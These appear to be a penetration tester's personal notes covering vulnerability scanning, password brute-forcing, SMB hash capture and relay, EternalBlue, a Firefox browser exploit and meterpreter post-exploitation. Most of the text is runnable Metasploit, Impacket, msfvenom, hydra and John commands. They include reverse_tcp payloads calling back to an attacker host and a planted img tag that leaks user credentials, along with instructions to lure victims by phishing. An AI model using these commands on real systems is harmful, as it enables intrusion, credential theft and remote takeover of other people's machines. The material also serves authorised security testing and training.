Generating a list of vulnerabilities present on all in-scope systems discovered.
Vulnerability Scanners
Only used when stealth is not a concern.
Utilize a database of known vulnerabilities to probe target daemons on TCP/UDP ports, configuration files, software suites, network devices and windows registry entries.
Vulnerability Scanners are very prone to false positives....it's good to check manually as well.
Scanners:
Nessus:
Server hosted on port 8834
Grabs screenshots of web applications, networking devices, and any devices using HTTP/HTTPS. It can also determine if default credentials are used.
https://github.com/FortyNorthSecurity/EyeWitness
python3 EyeWitness.py --headless --prepend-https -f <IPs/URLFile>
--active-scan
will attempt to login with default creds. Very loud. Will set off IDS.
ncrack -u <User> -P <PassList> <TargetIP> -p <Port#>
hydra -l <User> -P <PassList> <TargetIP> <protocol>
use auxiliary/server/capture/smb
set JOHPWFILE hashpwd
run
After setting up metasploit, we need to trick the users into starting a connection to our fake server.
<img src="\\192.168.1.1\ADMIN$">
in a webpageIf the LMHASH and NMHASH are the same, then only NT is being used. If they are different, LM is in use.
Crack the hashes w/John
john --format=ntlm <file>
Only way to accks it is by brute-forcing the HMAC key.
Hash is bound to a particular server/username so they aren't reusable.
Hash can still be utilized in other attacks.
Reusing authentication attempts to gain access to a network system.
smb_relay in metasploit
Only works if the authenticating user has administrative privileges on a target
msfconsole
use exploit/windows/smb/smb_relay
set SHARE ADMIN$
set SMBHOST <SMBServer>
set LHOST <AttackerIP>
set LPORT <Port>
smbrelayx.py (part of Impacket)
Impacket: https://www.secureauth.com/labs/open-source-tools/impacket/
/usr/share/doc/python3-impacket/examples/
Create meterpreter payload for Impacket to execute on target
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<AttackerIP> LPORT=<PORT> -f <exe> -o <file.exe>
Start listener within msfconsole
use exploit/multi/handler
set LHOST <AttackerIP>
set LPORT <Port>
run
Start smbrelayx.py with the payload
python3 smbrelayx.py -h <TargetIP> -e <MsfvenomPayload>
If the attack succeeds, you will gain a meterpreter session.
CVE-2017-0144
Affects Microsoft SMBv1 implementation
Module to check for vulnerability:
auxiliary/scanner/smb/smb_ms17_010
Module to run exploit:
exploit/windows/smb/ms17_010_eternalblue
This module starts a webserver and hosts a webpage containing the exploit.
use exploit/multi/browser/firefox_pdfjs_privilege_escalation
set SRVHOST <AttackerIP>
set SRVPORT <Port>
set PAYLOAD <firefox/shell_reverse_tcp>
run
We now need to lure the victim to the webpage via phishing or social engineering.
search type:exploit platform:windows
search cve:#
info <exploit>
File Path to Modules in Kali:
/usr/share/metasploit-framework/modules/../..
On my computer:
/opt/metasploit-framework/embedded/framework/modules
List Targets a payload effects:
show targets
From a meterpreter session, execute a hidden command prompt to interact with:
execute -f cmd.exe -i H
OR
shell
Meterpreter Post Exploitation Scripts:
run post/../../
run post/windows/gather/enum_services
OR ps
run post/windows/gather/enum_applications
migrate <ProcessID>